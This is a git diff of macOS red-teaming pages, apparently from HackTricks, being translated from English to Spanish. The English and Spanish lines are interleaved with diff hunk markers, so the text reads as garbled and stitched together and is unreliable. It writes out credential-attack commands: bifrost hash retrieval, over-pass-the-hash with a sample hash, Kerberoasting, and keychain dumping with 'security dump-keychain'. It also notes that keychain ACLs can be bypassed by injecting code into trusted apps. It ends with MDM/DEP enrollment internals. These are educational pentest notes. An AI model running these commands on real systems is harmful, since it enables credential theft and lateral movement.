The three types of MacOS users are: - **Usuarios Locales** — Gestionados por el servicio local de OpenDirectory, no están conectados de ninguna manera al Active Directory.
- **Usuarios de Red** — Usuarios volátiles de Active Directory que requieren una conexión al servidor DC para autenticarse.
- **Usuarios Móviles** — Usuarios de Active Directory con una copia de seguridad local de sus credenciales y archivos.
- **Local Users** — Managed by the local OpenDirectory service, they arent connected in any way to the Active Directory. La información local sobre usuarios y grupos se almacena en la carpeta _/var/db/dslocal/nodes/Default._\
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. Por ejemplo, la información sobre el usuario llamado _mark_ se almacena en _/var/db/dslocal/nodes/Default/users/mark.plist_ y la información sobre el grupo _admin_ está en _/var/db/dslocal/nodes/Default/groups/admin.plist_.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ Además de usar los bordes HasSession y AdminTo, **MacHound agrega tres nuevos bordes** a la base de datos de Bloodhound:
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
- **CanSSH** - entidad permitida para SSH al host
- **CanVNC** - entidad permitida para VNC al host
- **CanAE** - entidad permitida para ejecutar scripts de AppleEvent en el host
```bash ```bash
#User enumeration #User enumeration
dscl . ls /Users dscl . ls /Users
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information #Domain Information
dsconfigad -show dsconfigad -show
``` ```
Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password ### Computer$ password
Get passwords using: Obtén contraseñas usando:
```bash ```bash
bifrost --action askhash --username [name] --password [password] --domain [domain] bifrost --action askhash --username [name] --password [password] --domain [domain]
``` ```
Es posible acceder a la **`Computer$`** contraseña dentro del llavero del Sistema.
It's possible to access the **`Computer$`** password inside the System keychain.
### Over-Pass-The-Hash ### Over-Pass-The-Hash
Get a TGT for an specific user and service: Obtén un TGT para un usuario y servicio específicos:
```bash ```bash
bifrost --action asktgt --username [user] --domain [domain.com] \ bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] --hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
``` ```
Una vez que se ha recopilado el TGT, es posible inyectarlo en la sesión actual con:
Once the TGT is gathered, it's possible to inject it in the current session with:
```bash ```bash
bifrost --action asktgt --username test_lab_admin \ bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local --enctype aes256 --domain test.lab.local
``` ```
### Kerberoasting ### Kerberoasting
```bash ```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \ bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype] --username [user] --hash [hash] --enctype [enctype]
``` ```
Con los tickets de servicio obtenidos, es posible intentar acceder a recursos compartidos en otras computadoras:
With obtained service tickets it's possible to try to access shares in other computers:
```bash ```bash
smbutil view //computer.fqdn smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point mount -t smbfs //server/folder /local/mount/point
``` ```
## Accediendo al llavero
## Accessing the Keychain El llavero probablemente contiene información sensible que, si se accede sin generar un aviso, podría ayudar a avanzar en un ejercicio de red team:
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
{{#ref}} {{#ref}}
macos-keychain.md macos-keychain.md
{{#endref}} {{#endref}}
## External Services ## Servicios Externos
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y accediendo a varios servicios externos** (como github, aws...) a través de OneLogin.
## Misc Red Team techniques ## Técnicas Misceláneas de Red Team
### Safari ### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Así que, por ejemplo, si **descargas un zip**, se descomprimirá automáticamente:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References ## Referencias
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,60 +4,59 @@
## Main Keychains ## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. - El **User Keychain** (`~/Library/Keychains/login.keychain-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de red y claves públicas/privadas generadas por el usuario.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - El **System Keychain** (`/Library/Keychains/System.keychain`), que almacena **credenciales a nivel de sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema.
- It's possible to find other components like certificates in `/System/Library/Keychains/*` - Es posible encontrar otros componentes como certificados en `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - En **iOS** solo hay un **Keychain** ubicado en `/private/var/Keychains/`. Esta carpeta también contiene bases de datos para el `TrustStore`, autoridades de certificados (`caissuercache`) y entradas de OSCP (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier. - Las aplicaciones estarán restringidas en el keychain solo a su área privada basada en su identificador de aplicación.
### Password Keychain Access ### Password Keychain Access
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están encriptados y requieren la **contraseña en texto plano del usuario para ser desencriptados**. Se podría usar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para la desencriptación.
## Keychain Entries Protections ## Keychain Entries Protections
### ACLs ### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: Cada entrada en el keychain está gobernada por **Access Control Lists (ACLs)** que dictan quién puede realizar varias acciones en la entrada del keychain, incluyendo:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. - **ACLAuhtorizationExportClear**: Permite al titular obtener el texto claro del secreto.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. - **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro encriptado con otra contraseña proporcionada.
- **ACLAuhtorizationAny**: Allows the holder to perform any action. - **ACLAuhtorizationAny**: Permite al titular realizar cualquier acción.
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que pueden realizar estas acciones sin solicitar confirmación. Esto podría ser:
- **N`il`** (no authorization required, **everyone is trusted**) - **N`il`** (no se requiere autorización, **todos son de confianza**)
- An **empty** list (**nobody** is trusted) - Una lista **vacía** (**nadie** es de confianza)
- **List** of specific **applications**. - **Lista** de **aplicaciones** específicas.
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** Además, la entrada podría contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.**
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. - Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** **sin** un **prompt**, la aplicación utilizada debe tener el **mismo teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**. - Si se especifica el **apple**, entonces la aplicación necesita estar **firmada** por **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. - Si se indica el **cdhash**, entonces la **app** debe tener el **cdhash** específico.
### Creating a Keychain Entry ### Creating a Keychain Entry
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: Cuando se crea una **nueva** **entrada** usando **`Keychain Access.app`**, se aplican las siguientes reglas:
- All apps can encrypt. - Todas las aplicaciones pueden encriptar.
- **No apps** can export/decrypt (without prompting the user). - **Ninguna aplicación** puede exportar/desencriptar (sin solicitar al usuario).
- All apps can see the integrity check. - Todas las aplicaciones pueden ver la verificación de integridad.
- No apps can change ACLs. - Ninguna aplicación puede cambiar las ACLs.
- The **partitionID** is set to **`apple`**. - El **partitionID** se establece en **`apple`**.
When an **application creates an entry in the keychain**, the rules are slightly different: Cuando una **aplicación crea una entrada en el keychain**, las reglas son ligeramente diferentes:
- All apps can encrypt. - Todas las aplicaciones pueden encriptar.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). - Solo la **aplicación creadora** (o cualquier otra aplicación añadida explícitamente) puede exportar/desencriptar (sin solicitar al usuario).
- All apps can see the integrity check. - Todas las aplicaciones pueden ver la verificación de integridad.
- No apps can change the ACLs. - Ninguna aplicación puede cambiar las ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**. - El **partitionID** se establece en **`teamid:[teamID aquí]`**.
## Accessing the Keychain ## Accessing the Keychain
### `security` ### `security`
```bash ```bash
# List keychains # List keychains
security list-keychains security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain # Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db security dump-keychain ~/Library/Keychains/login.keychain-db
``` ```
### APIs ### APIs
> [!TIP] > [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) > La **enumeración y volcado de secretos** del **keychain** que **no generará un aviso** se puede hacer con la herramienta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> >
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. > Otros puntos finales de API se pueden encontrar en el código fuente de [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html).
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: Lista y obtén **info** sobre cada entrada del keychain usando el **Security Framework** o también podrías revisar la herramienta de línea de comandos de código abierto de Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Algunos ejemplos de API:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - La API **`SecItemCopyMatching`** proporciona información sobre cada entrada y hay algunos atributos que puedes establecer al usarla:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - **`kSecReturnData`**: Si es verdadero, intentará descifrar los datos (configúralo en falso para evitar posibles ventanas emergentes)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - **`kSecReturnRef`**: También obtén referencia al elemento del keychain (configúralo en verdadero en caso de que más tarde veas que puedes descifrar sin ventana emergente)
- **`kSecReturnAttributes`**: Get metadata about entries - **`kSecReturnAttributes`**: Obtén metadatos sobre las entradas
- **`kSecMatchLimit`**: How many results to return - **`kSecMatchLimit`**: Cuántos resultados devolver
- **`kSecClass`**: What kind of keychain entry - **`kSecClass`**: Qué tipo de entrada del keychain
Get **ACLs** of each entry: Obtén **ACLs** de cada entrada:
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - Con la API **`SecAccessCopyACLList`** puedes obtener el **ACL para el elemento del keychain**, y devolverá una lista de ACLs (como `ACLAuhtorizationExportClear` y los otros mencionados anteriormente) donde cada lista tiene:
- Description - Descripción
- **Trusted Application List**. This could be: - **Lista de Aplicaciones de Confianza**. Esto podría ser:
- An app: /Applications/Slack.app - Una app: /Applications/Slack.app
- A binary: /usr/libexec/airportd - Un binario: /usr/libexec/airportd
- A group: group://AirPort - Un grupo: group://AirPort
Export the data: Exporta los datos:
- The API **`SecKeychainItemCopyContent`** gets the plaintext - La API **`SecKeychainItemCopyContent`** obtiene el texto plano
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted - La API **`SecItemExport`** exporta las claves y certificados, pero puede que tengas que establecer contraseñas para exportar el contenido cifrado
And these are the **requirements** to be able to **export a secret without a prompt**: Y estos son los **requisitos** para poder **exportar un secreto sin un aviso**:
- If **1+ trusted** apps listed: - Si hay **1+ aplicaciones de confianza** listadas:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - Necesitas las **autorizaciones** apropiadas (**`Nil`**, o ser **parte** de la lista permitida de aplicaciones en la autorización para acceder a la información secreta)
- Need code signature to match **PartitionID** - Necesitas que la firma de código coincida con **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) - Necesitas que la firma de código coincida con la de una **aplicación de confianza** (o ser miembro del grupo de acceso al keychain correcto)
- If **all applications trusted**: - Si **todas las aplicaciones son de confianza**:
- Need the appropriate **authorizations** - Necesitas las **autorizaciones** apropiadas
- Need code signature to match **PartitionID** - Necesitas que la firma de código coincida con **PartitionID**
- If **no PartitionID**, then this isn't needed - Si **no hay PartitionID**, entonces esto no es necesario
> [!CAUTION] > [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**. > Por lo tanto, si hay **1 aplicación listada**, necesitas **inyectar código en esa aplicación**.
> >
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. > Si **apple** está indicado en el **partitionID**, podrías acceder a él con **`osascript`** así que cualquier cosa que confíe en todas las aplicaciones con apple en el partitionID. **`Python`** también podría usarse para esto.
### Two additional attributes ### Dos atributos adicionales
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app - **Invisible**: Es una bandera booleana para **ocultar** la entrada de la aplicación **UI** del Keychain
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - **General**: Es para almacenar **metadatos** (así que NO está CIFRADO)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. - Microsoft estaba almacenando en texto plano todos los tokens de actualización para acceder a puntos finales sensibles.
## References ## References

View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:** **Para aprender sobre MDM de macOS, consulta:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics ## Basics
### **MDM (Mobile Device Management) Overview** ### **Descripción general de MDM (Mobile Device Management)**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) se utiliza para supervisar varios dispositivos de usuario final como teléfonos inteligentes, laptops y tabletas. Particularmente para las plataformas de Apple (iOS, macOS, tvOS), implica un conjunto de características, API y prácticas especializadas. El funcionamiento de MDM depende de un servidor MDM compatible, que puede ser comercial o de código abierto, y debe soportar el [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Los puntos clave incluyen:
- Centralized control over devices. - Control centralizado sobre los dispositivos.
- Dependence on an MDM server that adheres to the MDM protocol. - Dependencia de un servidor MDM que cumpla con el protocolo MDM.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. - Capacidad del servidor MDM para enviar varios comandos a los dispositivos, por ejemplo, borrado de datos de forma remota o instalación de configuraciones.
### **Basics of DEP (Device Enrollment Program)** ### **Fundamentos de DEP (Device Enrollment Program)**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de Mobile Device Management (MDM) al facilitar la configuración sin contacto para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos desde el primer momento, con mínima intervención del usuario o del administrador. Los aspectos esenciales incluyen:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. - Permite que los dispositivos se registren de forma autónoma con un servidor MDM predefinido al activarse por primera vez.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. - Principalmente beneficioso para dispositivos nuevos, pero también aplicable a dispositivos que están siendo reconfigurados.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly. - Facilita una configuración sencilla, haciendo que los dispositivos estén listos para su uso organizacional rápidamente.
### **Security Consideration** ### **Consideraciones de Seguridad**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque beneficiosa, también puede presentar riesgos de seguridad. Si las medidas de protección no se aplican adecuadamente para la inscripción en MDM, los atacantes podrían explotar este proceso simplificado para registrar su dispositivo en el servidor MDM de la organización, haciéndose pasar por un dispositivo corporativo.
> [!CAUTION] > [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. > **Alerta de Seguridad**: La inscripción simplificada de DEP podría permitir el registro no autorizado de dispositivos en el servidor MDM de la organización si no se implementan las salvaguardias adecuadas.
### Basics What is SCEP (Simple Certificate Enrolment Protocol)? ### Fundamentos ¿Qué es SCEP (Simple Certificate Enrollment Protocol)?
- A relatively old protocol, created before TLS and HTTPS were widespread. - Un protocolo relativamente antiguo, creado antes de que TLS y HTTPS fueran comunes.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. - Proporciona a los clientes una forma estandarizada de enviar una **Solicitud de Firma de Certificado** (CSR) con el propósito de obtener un certificado. El cliente pedirá al servidor que le proporcione un certificado firmado.
### What are Configuration Profiles (aka mobileconfigs)? ### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)?
- Apples official way of **setting/enforcing system configuration.** - La forma oficial de Apple de **configurar/imponer la configuración del sistema.**
- File format that can contain multiple payloads. - Formato de archivo que puede contener múltiples cargas útiles.
- Based on property lists (the XML kind). - Basado en listas de propiedades (el tipo XML).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. - “pueden ser firmados y cifrados para validar su origen, asegurar su integridad y proteger su contenido.” Fundamentos — Página 70, Guía de Seguridad de iOS, enero de 2018.
## Protocols ## Protocolos
### MDM ### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) - Combinación de APNs (**servidores de Apple**) + API RESTful (**servidores de proveedores de MDM**)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** - **La comunicación** ocurre entre un **dispositivo** y un servidor asociado con un **producto de gestión de dispositivos**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** - **Los comandos** se entregan desde el MDM al dispositivo en **diccionarios codificados en plist**
- All over **HTTPS**. MDM servers can be (and are usually) pinned. - A través de **HTTPS**. Los servidores MDM pueden ser (y generalmente son) fijados.
- Apple grants the MDM vendor an **APNs certificate** for authentication - Apple otorga al proveedor de MDM un **certificado APNs** para autenticación
### DEP ### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad de dispositivo (no documentada):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacciones.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. - La API privada de DEP no documentada. Esta es utilizada por los Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API.
- More modern and **JSON** based (vs. plist) - Más moderna y basada en **JSON** (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor - Apple otorga un **token OAuth** al proveedor de MDM
**DEP "cloud service" API** **API de "servicio en la nube" de DEP**
- RESTful - RESTful
- sync device records from Apple to the MDM server - sincroniza registros de dispositivos de Apple al servidor MDM
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) - sincroniza “perfiles DEP” a Apple desde el servidor MDM (entregados por Apple al dispositivo más tarde)
- A DEP “profile” contains: - Un perfil de DEP contiene:
- MDM vendor server URL - URL del servidor del proveedor de MDM
- Additional trusted certificates for server URL (optional pinning) - Certificados adicionales de confianza para la URL del servidor (fijación opcional)
- Extra settings (e.g. which screens to skip in Setup Assistant) - Configuraciones adicionales (por ejemplo, qué pantallas omitir en el Asistente de Configuración)
## Serial Number ## Número de serie
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. Los dispositivos de Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **primeros tres dígitos representando la ubicación de fabricación**, los siguientes **dos** indicando el **año** y **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos** **cuatro** dígitos representando el **número de modelo**.
{{#ref}} {{#ref}}
macos-serial-number.md macos-serial-number.md
{{#endref}} {{#endref}}
## Steps for enrolment and management ## Pasos para la inscripción y gestión
1. Device record creation (Reseller, Apple): The record for the new device is created 1. Creación del registro del dispositivo (Revendedor, Apple): Se crea el registro para el nuevo dispositivo
2. Device record assignment (Customer): The device is assigned to a MDM server 2. Asignación del registro del dispositivo (Cliente): El dispositivo se asigna a un servidor MDM
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple 3. Sincronización del registro del dispositivo (Proveedor de MDM): MDM sincroniza los registros de dispositivos y envía los perfiles DEP a Apple
4. DEP check-in (Device): Device gets his DEP profile 4. Registro en DEP (Dispositivo): El dispositivo obtiene su perfil DEP
5. Profile retrieval (Device) 5. Recuperación del perfil (Dispositivo)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads 6. Instalación del perfil (Dispositivo) a. incl. cargas útiles de MDM, SCEP y CA raíz
7. MDM command issuance (Device) 7. Emisión de comandos MDM (Dispositivo)
![](<../../../images/image (694).png>) ![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. El archivo `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporta funciones que pueden considerarse **"pasos" de alto nivel** del proceso de inscripción.
### Step 4: DEP check-in - Getting the Activation Record ### Paso 4: Registro en DEP - Obtención del Registro de Activación
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) Esta parte del proceso ocurre cuando un **usuario inicia un Mac por primera vez** (o después de un borrado completo)
![](<../../../images/image (1044).png>) ![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment` o al ejecutar `sudo profiles show -type enrollment`
- Determine **whether device is DEP enabled** - Determinar **si el dispositivo está habilitado para DEP**
- Activation Record is the internal name for **DEP “profile”** - El Registro de Activación es el nombre interno para el **"perfil" de DEP**
- Begins as soon as the device is connected to Internet - Comienza tan pronto como el dispositivo está conectado a Internet
- Driven by **`CPFetchActivationRecord`** - Impulsado por **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - Implementado por **`cloudconfigurationd`** a través de XPC. El **"Asistente de Configuración"** (cuando el dispositivo se inicia por primera vez) o el comando **`profiles`** contactará a este daemon para recuperar el registro de activación.
- LaunchDaemon (always runs as root) - LaunchDaemon (siempre se ejecuta como root)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** Sigue unos pasos para obtener el Registro de Activación realizado por **`MCTeslaConfigurationFetcher`**. Este proceso utiliza un cifrado llamado **Absinthe**
1. Retrieve **certificate** 1. Recuperar **certificado**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**) 2. **Inicializar** estado desde el certificado (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) 1. Utiliza varios datos específicos del dispositivo (es decir, **Número de serie a través de `IOKit`**)
3. Retrieve **session key** 3. Recuperar **clave de sesión**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**) 4. Establecer la sesión (**`NACKeyEstablishment`**)
5. Make the request 5. Hacer la solicitud
